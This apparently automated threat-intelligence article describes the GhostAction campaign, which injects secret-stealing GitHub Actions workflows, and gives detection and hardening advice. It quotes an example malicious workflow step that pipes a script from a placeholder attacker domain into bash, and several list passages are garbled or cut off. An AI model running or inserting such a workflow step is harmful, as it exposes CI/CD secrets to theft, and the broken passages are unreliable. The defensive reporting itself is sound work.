The supply chain attack campaign known as GhostAction has seen a significant resurgence, compromising an estimated 1,900 GitHub developer accounts. The attackers leverage this access to inject malicious code into over 30,000 software repositories, affecting 3,000 users and organizations. The campaign's primary objective is to steal sensitive secrets from CI/CD environments, including cloud provider credentials (e.g., AWS keys), package registry tokens (npm, PyPI), and API keys. This large-scale operation highlights the increasing targeting of developer infrastructure as a lucrative vector for initial access and data theft.
GhostAction is a credential-theft campaign that has been active since at least September 2025. The threat actors focus on compromising the software supply chain by targeting developers and their GitHub accounts. The typical attack pattern involves using stolen credentials, such as Personal Access Tokens (PATs) obtained from information-stealer malware logs or previous data breaches, to gain unauthorized access to a developer's account.
Once in control, the attackers inject a malicious GitHub Actions workflow into one or more of the developer's repositories. These workflows are often disguised with benign-sounding names like security-audit.yml or github_actions_security.yml to evade detection. When the workflow is triggered (e.g., by a push event), it executes the malicious code within the context of the repository's CI/CD pipeline, giving it access to all the secrets and environment variables configured for that project.
The malicious GitHub Actions workflows are designed to exfiltrate secrets. The core of the payload typically involves a script that collects all available environment variables and secrets within the GitHub Actions runner and sends them to an attacker-controlled server.
Recent analysis by GitGuardian has revealed new TTPs in the latest wave of attacks (since August 2026):
AKIA...), GitHub tokens, and other API keys that may have been accidentally committed in the past.An example of a malicious workflow step might look like this:
- name: Run audit
run: |
curl -s http://attacker-domain.com/payload.sh | bash
This simple step downloads and executes a script from an external server, which then carries out the secret-stealing and history-scanning logic.
The compromise of CI/CD secrets poses a severe risk to organizations. Stolen credentials can lead to:
No specific Indicators of Compromise (IOCs) such as exfiltration domains or payload hashes were mentioned in the source articles.
Security teams can hunt for GhostAction activity by monitoring for the following patterns in their GitHub organizations. The following patterns could indicate related activity:
security-audit.yml, github_actions_security.yml.github/workflows/ directory., wget ...Detection:
.github/workflows/ directory of all repositories. All changes to CI/CD pipelines should go through a mandatory peer review process. (D3-SFA: System File Analysis)Response:
Enforcing MFA on all GitHub accounts is the most effective way to prevent takeovers via stolen credentials.
Mapped D3FEND Techniques:
Using short-lived, fine-grained PATs and implementing the principle of least privilege for developer accounts limits the potential damage of a compromise.
The GhostAction campaign relies on using stolen credentials like Personal Access Tokens (PATs) or passwords. Enforcing multi-factor authentication across the entire GitHub organization is the single most effective defense. This prevents attackers from logging in even if they possess a valid password. For actions performed via the API using PATs, organizations should move away from classic, non-expiring tokens. Instead, mandate the use of fine-grained personal access tokens with required approvals and short expiration dates (e.g., less than 30 days). This ensures that even if a token is stolen, its lifespan is limited, reducing the window of opportunity for attackers. Furthermore, security teams should configure alerts for PATs being created without MFA enabled on the parent account, treating it as a high-priority security risk.
Hardening the configuration of GitHub Actions is a critical step in mitigating attacks like GhostAction. First, organizations should implement policies that require all changes to workflow files (in the .github/workflows directory) to undergo a mandatory peer review by at least one other developer. This prevents a single compromised account from injecting a malicious workflow unilaterally. Second, leverage GitHub's built-in security features to restrict workflow permissions. By default, workflows should have read-only permissions for contents and secrets. Write permissions should only be granted on a per-job basis where absolutely necessary. Finally, for authenticating to cloud services, completely eliminate long-lived secrets from GitHub by using OpenID Connect (OIDC). OIDC allows workflows to obtain short-lived, dynamically generated credentials from cloud providers like AWS, Azure, and GCP, drastically reducing the value of a compromised Actions environment.
A new, more experimental wave of the GhostAction campaign begins.
A significant surge in GhostAction activity is observed, with attackers attempting to extract thousands of secrets.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.